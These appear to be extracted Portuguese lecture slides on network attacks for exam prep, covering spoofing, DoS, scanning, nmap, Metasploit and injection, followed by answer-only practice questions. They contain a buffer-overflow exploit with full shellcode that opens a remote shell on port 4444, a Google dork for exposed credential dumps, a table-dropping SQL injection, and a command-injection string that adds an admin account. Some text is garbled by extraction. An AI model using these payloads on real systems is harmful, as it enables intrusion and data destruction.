utilizado por hackers Exemplo: Ao fazer uma pesquisa por allinurl:auth_user_le.txt no google encontramos uma lista de URLs com dump de MYSql server na internet, com livre acesso. Nesses dumps podemos encontrar credenciais de acesso que ainda podem ser vlidas. Para esta funo o Google dispe de diversos operadores que auxiliam na tarefa. Ataques em redes de computadores Tipos Ataques em redes de computadores Ataques ARP Spoong Enganar o mapemento entre o endereo MAC e o enderereo IP feito pelo protocolo ARP (Address Resolution Protocol). !"#$%$&' )* #$ +, -./0 !"#$%$&' !/1$%"$/ #$ 23 -./0 Ataques em redes de computadores Ataques ARP Spoong (cont.) Deste ataque deriva uma tcnica que permite fazer snifng em uma rede com switches, mesmo sem o uso de portas de monitoramento= Ataques em redes de computadores Ataques ARP Spoong : Ferramenta EtterCap Mutito utilizada para fazer ataques ARP Spoong e seus derivantes. Ataques em redes de computadores Ataques DNS Spoong Ataque derivante do ARP Spoong Tem como objetivo desviar todas as solicitaes de DNS que iriam para a internet para um DNS server controlado pelo hacker. Com este controle possvel fazer o usurio abrir pginas com cdigos maliciosos, fazendo que estas passem para o controle do atacante A ferramenta Ettercap tambm utilizada para este ataque Ataques em redes de computadores IP Spoong Falsicao de endereo IP de origem; No possvel obter respostas vai para o endereo forjado; Muito usado em ataques de negao de servio (Denial-of- Service, DoS); Egress Filtering para preveno (anti-spoong). Ataques em redes de computadores Fragmentao de pacotes IP Caracterstica do prprio protocolo; MTU (Maximum Transfer Unit) Ethernet 1500, FDDI 4470; Fragmentao e reagrupamento (desfragmentao); Uso de offsets para o reagrupamento. Ataques em redes de computadores Fragmentao de pacotes IP (cont.) Ping of Death; Teadrop; Land; Overlapping Fragment Attack. Ataques em redes de computadores Denial of Service Afeta a disponibilidade da informao; Explora recursos de uma forma agressiva, estressando-os e impedindo-os de realizar suas tarefas bsicas; Usurios legtimos cam impedidos de acessar o recurso; Pode derrubar um servidor, encher um link, estourar a memria ou explorar uma vulnerabilidade. Ataques em redes de computadores SYN Flooding !"#$%&$ '$()#*+( ',- /$01 2 ',- /$01 34 5!6 2 7 8 5!6 3 7 8 !+%$29+ $/&:;$"$<#*: =>(#+/ ?:<+&$/ ',- @#": *:/ <+%$2A$/ *+ /$()#*+( <B$#: ',- C"++*#%D Ataques em redes de computadores Smurf e Fraggle Pacote PING (ICMP echo) para o endereo broadcast da rede, usando IP Spoong; Todos os hosts da rede respondem ao PING para o host que teve o seu endereo falsicado (IP Spoong); Duas vtimas: a rede, que ca congestionada, e o host que teve o seu endereo falsicado. Fraggle usa UDP ao invs de ICMP. Ataques em redes de computadores Session Hijacking (Sequestro de sesses) Man-in-the-Middle ou Session Hijacking; Explora o prognstico do nmero de seqncia (sequence number prediction) do three-way handshake; O atacante ca entre o cliente e o servidor, podendo assim alterar toda a comunicao entre eles; O atacante envia informaes inltrando-se nas conexes, baseado na descoberta do nmero de seqncia dessas conexes. Ataques em redes de computadores Ataques coordenados Ataque de negao de servio distribudo, ou Distributed Denial-of-Service (DDoS); Diculdade de descobrir a origem dos ataques: milhares de origens do ataque; Botnets - Redes de zumbis (bots) que atendem a comandos de uma central de comando e controle (C2), realizando ataques contra alvos determinados pelos seus mestres Todos os zumbis e os alvos de seus ataques so vtimas. Ataques em redes de computadores Buffer Overow Explorao de uma falha na aplicao, onde uma varivel do programa pode expor outras reas da memria ao hacker, permitindo sua manipulao, mesmo remota, com o carregamento de cdigos maliciosos. Muitas tcnicas auxiliam na descobertas destas vulnerabilidades, tornando-se cada vez mais comuns Ataques em redes de computadores #buffer = "A" * 2000 buffer="\x41"*969 buffer+="\xed\x1e\x94\x7c" #buffer+="\7c" + "\94" + "\1E" + "\ED" #buffer+="\x42" * 4 buffer+="\x43" * 16 buffer+="\x90" * 16 buffer+=("\xb8\x52\x1c\x20\xa1\xd9\xe1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1" "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x5d\xfe\xd5\x5d\x89\x77" "\x15\x9e\x49\xe8\x9f\x7b\x78\x3a\xfb\x08\x28\x8a\x8f\x5d\xc0" "\x61\xdd\x75\x53\x07\xca\x7a\xd4\xa2\x2c\xb4\xe5\x02\xf1\x1a" "\x25\x04\x8d\x60\x79\xe6\xac\xaa\x8c\xe7\xe9\xd7\x7e\xb5\xa2" "\x9c\x2c\x2a\xc6\xe1\xec\x4b\x08\x6e\x4c\x34\x2d\xb1\x38\x8e" "\x2c\xe2\x90\x85\x67\x1a\x9b\xc2\x57\x1b\x48\x11\xab\x52\xe5" "\xe2\x5f\x65\x2f\x3b\x9f\x57\x0f\x90\x9e\x57\x82\xe8\xe7\x50" "\x7c\x9f\x13\xa3\x01\x98\xe7\xd9\xdd\x2d\xfa\x7a\x96\x96\xde" "\x7b\x7b\x40\x94\x70\x30\x06\xf2\x94\xc7\xcb\x88\xa1\x4c\xea" "\x5e\x20\x16\xc9\x7a\x68\xcd\x70\xda\xd4\xa0\x8d\x3c\xb0\x1d" "\x28\x36\x53\x4a\x4a\x15\x3c\xbf\x61\xa6\xbc\xd7\xf2\xd5\x8e" "\x78\xa9\x71\xa3\xf1\x77\x85\xc4\x28\xcf\x19\x3b\xd2\x30\x33" "\xf8\x86\x60\x2b\x29\xa6\xea\xab\xd6\x73\xbc\xfb\x78\x2b\x7d" "\xac\x38\x9b\x15\xa6\xb6\xc4\x06\xc9\x1c\x73\x01\x07\x44\xd0" "\xe6\x6a\x7a\xc7\xaa\xe3\x9c\x8d\x42\xa2\x37\x39\xa1\x91\x8f" "\xde\xda\xf3\xa3\x77\x4d\x4b\xaa\x4f\x72\x4c\xf8\xfc\xdf\xe4" "\x6b\x76\x0c\x31\x8d\x89\x19\x11\xc4\xb2\xca\xeb\xb8\x71\x6a" "\xeb\x90\xe1\x0f\x7e\x7f\xf1\x46\x63\x28\xa6\x0f\x55\x21\x22" "\xa2\xcc\x9b\x50\x3f\x88\xe4\xd0\xe4\x69\xea\xd9\x69\xd5\xc8" "\xc9\xb7\xd6\x54\xbd\x67\x81\x02\x6b\xce\x7b\xe5\xc5\x98\xd0" "\xaf\x81\x5d\x1b\x70\xd7\x61\x76\x06\x37\xd3\x2f\x5f\x48\xdc" "\xa7\x57\x31\x00\x58\x97\xe8\x80\x66\x69\x20\x1d\xfe\xd0\xd1" "\x5c\x62\xe3\x0c\xa2\x9b\x60\xa4\x5b\x58\x78\xcd\x5e\x24\x3e" "\x3e\x13\x35\xab\x40\x80\x36\xfe") buffer+="\xCC" * 630 Acionamento da vulnerabilidade Cdigo malicioso que criar uma porta adicional (4444/ TCP) e dar acesso remoto ao shell do computador Ataques em redes de computadores Tipos de shell Normalmente um ataque buffer overow usado para obter um shell no sistema alvo Existem dois tipos bsicos Direct shell - Uma porta aberta no sistema alvo e associada a um shell do sistema operacional Reverse shell - O cdigo malicioso que foi executado no alvo estabelece uma conexo com o computador do atacante e transmite, atravs desta conexo, o acesso ao shell no sistema alvo Conseguimos criar um shell (reverso ou direto) com algumas ferramentas, como o Netcat (comando nc no Linux) que permite algumas outras atividades ou com o Meterpreter, parte integrante do Metasploit, que capaz de entregar ao atacante um shell avanado, com algumas funes para simplicar a coleta de informaes no servidor alvo. Ataques em redes de computadores Shell reverso e tunneling Uma das grandes vantagens do shell reverso a possibilidade de bypass o rewall local, pois no h necessidade em abrir uma porta no alvo. O alvo se comunica com o atacante Contudo, pela existncia de um rewall, pode ser impossvel um ataque a determinada porta que tenhamos descoberto haver outra vulnerabilidade a ser explorada. Nestes cenrios podemos aplicar uma tcnica chamada tunneling, onde usamos um cliente de SSH no alvo que j obtivemos acesso para redirecionar o trfego a uma outra porta local (por exemplo 3389/TCP - Remote desktop no Windows) atrves de um tnel cifrado pelo SSH Ataques em redes de computadores Ataques em redes de computadores Escaneamento Atividade realizada para descobrir portas e servios nos hosts alvo Se feito corretamente pode passar desapercebido para o administrador da rede Contudo, sem os devidos cuidados pode aparecer imediatamente nas telas de IDS/IPS da rede Ataques em redes de computadores Three-way handshake do TCP Three-way handshake do TCP: O cliente envia uma requisio de conexo pacote SYN; O servidor recebe o pacote SYN e responde com uma resposta de reconhecimento (acknowledgement) pacote SYN-ACK; O cliente reconhece o pacote SYN-ACK pacote ACK; A conexo estabelecida (three-way handshake); A troca de dados acontece; A conexo encerrada com um pacote com ag FIN; A conexo encerrada de forma anormal com pacote RST. Ataques em redes de computadores TCP Connect: Cliente envia um pacote SYN para a porta; Caso o servidor aceite a conexo, a porta est aberta; Caso contrrio, a porta est fechada. TCP SYN (half open): Cliente envia um pacote SYN para a porta; Caso o servidor responda com SYN-ACK, o cliente envia RST a conexo encerrada antes do seu estabelecimento. Ataques em redes de computadores UDP: Cliente envia um pacote UDP de 0 byte para a porta; Caso o servidor envie um pacote ICMP Port Unreachable, a porta est fechada; Caso contrrio, a porta est aberta. FIN: Modo stealth, ou seja, so mais difceis de serem detectados; Pacote FIN enviado para a porta do servidor; Caso um pacote RST recebido, a porta est fechada. Ataques em redes de computadores Null Scan: Modo stealth; Pacote FIN, sem nenhum ag, enviado para a porta do servidor; Caso um pacote RST recebido, a porta est fechada. FIN: Modo stealth; Pacote FIN com os ags FIN, PUSH e URG ativados enviado para a porta do servidor; Caso um pacote RST recebido, a porta est fechada. Ataques em redes de computadores Idle Scan Tcnica utilizada para fazer escaneamento oculto Se baseia na avaliao do contado de pacote IP (IPID) do protocolo TCP/IP Previamente ele manda um SYN para um host Zumbi e determina qual o IPID atual dele. O atacante manda um pacote SYN para o alvo, com o IP spoofado do host Zumbi, direcionado a porta que ele deseja testar se est aberta ou no. Depois o hacker testa novamente o atual IPID do host Zumbi Se houve incremendo do IPID ento a porta est aberta, pois o host alvo respondeu para o zumbi com um SYN-ACK Se no houver incremento a porta est fechada, pois o host respondeu ao Zumbi com um pacote RST Caso haja um IPS no host alvo apenas aparecer os logs dos pacotes do zumbi, mas no do atacante real Ataques em redes de computadores Idle Scan (cont.) Ataques em redes de computadores Ferramentas para escanemento NMAP - A mais popular das ferramentas para escanemento Muito verstil, possui diversos recursos para descoberta de vulnerabilidades e bypass de IDS / IPS Ataques em redes de computadores # nmap -A -T4 scanme.nmap.org playground Starting nmap ( http://insecure.org/nmap/ ) Interesting ports on scanme.nmap.org (205.217.153.62): (The 1663 ports scanned but not shown below are in state: filtered) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99) 53/tcp open domain 70/tcp closed gopher 80/tcp open http Apache httpd 2.0.52 ((Fedora)) 113/tcp closed auth Device type: general purpose Running: Linux 2.4.X|2.5.X|2.6.X OS details: Linux 2.4.7 - 2.6.11, Linux 2.6.0 - 2.6.11 Uptime 33.908 days (since Thu Jul 21 03:38:03 2005) Interesting ports on playground.nmap.org (192.168.0.40): (The 1659 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap? 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1002/tcp open windows-icfw? 1025/tcp open msrpc Microsoft Windows RPC 1720/tcp open H.323/Q.931 CompTek AquaGateKeeper 5800/tcp open vnc-http RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900) 5900/tcp open vnc VNC (protocol 3.8) MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications) Device type: general purpose Running: Microsoft Windows NT/2K/XP OS details: Microsoft Windows XP Pro RC1+ through final release Service Info: OSs: Windows, Windows XP Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds Ataques em redes de computadores NMAP - Opes mais comuns -sP - Ping Scan - Procura hosts atravs de ICMP -P0 - No faz mais um ICMP discovery prvio -sS (TCP SYN), -sT (Connect), -sA (ACK), sU (Scan UDP ports) -sI - Idle Scan -p Lista de portas a escanear (se for omitido escanear as chamadas Well Known ports) -sV - Tenta obter informaes sobre o servio rodando nas portas abertas -O - OS Fingerprint detection -T[0-5] - Regula a velocidade dos scans -f - Fragmentar pacotes -D - Decoy -S <ip_address> - Spoofar o IP Ataques em redes de computadores Ferramentas para atacar - Metasploit Framework Consite em um framework completo, com diversos exploit prontos para uso, ferramentas para descoberta de novas vulnerabilidades, dentre outros Muito utilizado por hackers, auditores de segurana e estudantes da rea De simples utilizao (pode at mesmo ser automatizado) Novos exploits so adicionados diriamente e suas atualizaes so gratitas Faz parte da distribuio Linux Backtrack Ataques em redes de computadores Ataques em redes de computadores Ferramentas para ataques em Web App Nikto Scanner de vulnerabilidades em servidores WEB Muito til para descobrir fraquezas e erros de congurao em servidores WEB Simples de usar Faz parte do Backtrack Algumas informaes podem tambm ser obtidas com um telnet paras a porta do servidor WEB e um comando HTTP (exemplo HEAD/HTTP/1.0 pode retornar o banner do servidor) Ataques em redes de computadores Ataques em redes de computadores Ataques de injeo Em algumas situaes possvel injetar informaes em formulrios e alterar o comportamento de uma aplicao. Os tipos mais comuns so Injeo SQL - Atua modicando uma requisio legtima de SQL (ex: Fazer a autenticao de um usurio) para outra a escolha o hacker. Ex: Consulta SQL normal: select * from user where senha =<Formulario>; Ao digitarmos no formulrio WEB a consulta abaixo no lugar da senha: or 1=1 --; droptable(<nome_tabela>); Ao invs de fazer uma tentativa de login ns apagaremos a tabela de usurios. Injeo de comandos - Comum em sistemas que executam comandos remotos e pedem o parametro por um formulrio web (exemplo: traceroute para um destino denido pelo formulrio). Se ao invs do IP fosse digitado: ; net user /add hacker hacker | net localgroup administrator hacker; Ao invs de fazermos o traceroute ns criariamos um usurio, com acesso total (pois seria administrador), podendo conceder acesso via Remote Desktop (se fosse linux bastaria criar um usurio, clocar no grupo root e acessar via SSH). Ataques em redes de computadores Ferramentas para ataques em Web App Dirbuster Ferramenta que descobre arquivos hospedados em um servidor WEB, mesmo que estejam ocultos, com um uso de um arquivo de dicionrio Testa o servidor WEB procurando erros. Se tentar acessar determinado arquivo e receber uma mensagem, dizendo que o arquivo existe, mesmo que no seja possvel acesso a ele, o mesmo ser exibido em uma listagem. Ataques em redes de computadores Questes para praticar Questes para praticar Resposta: C Questes para praticar Respostas: A,B,C,D. Sam Spade um pacote de ferramentas antigo, que pode fazer ping, traceroute e outras funes. Cheops uma ferramenta de monitoramento de rede. Questes para praticar Resposta: B Questes para praticar Respostas: A, C, E Questes para praticar Resposta: A - Usurios administradores tem sempre seu RID (relative identier) comeando com 500 Questes para praticar Resposta: D Questes para praticar Resposta: C Questes para praticar Resposta: C Questes para praticar Resposta: C Questes para praticar Resposta: A Questes para praticar Respostas: A e B Questes para praticar Resposta: E Questes para praticar Resposta: D Questes para praticar Resposta: C Questes para praticar Respostas: A e B. Notar que os 8 caracteres so identicos Questes para praticar Resposta: D Questes para praticar Resposta: A Questes para praticar Resposta: D Questes para praticar Resposta: E Questes para praticar Resposta: B - Consultar a tabela ASCII para entender a linha 0B0 Questes para praticar Resposta: B Questes para praticar Resposta: C - Converter o nmero para binrio, depois pegar os ltimos 8 bits e converter para decimal, obtendo o .5 Questes para praticar Resposta: A Questes para praticar Resposta: A Questes para praticar Resposta: A Questes para praticar Reviso de provas da PF FIM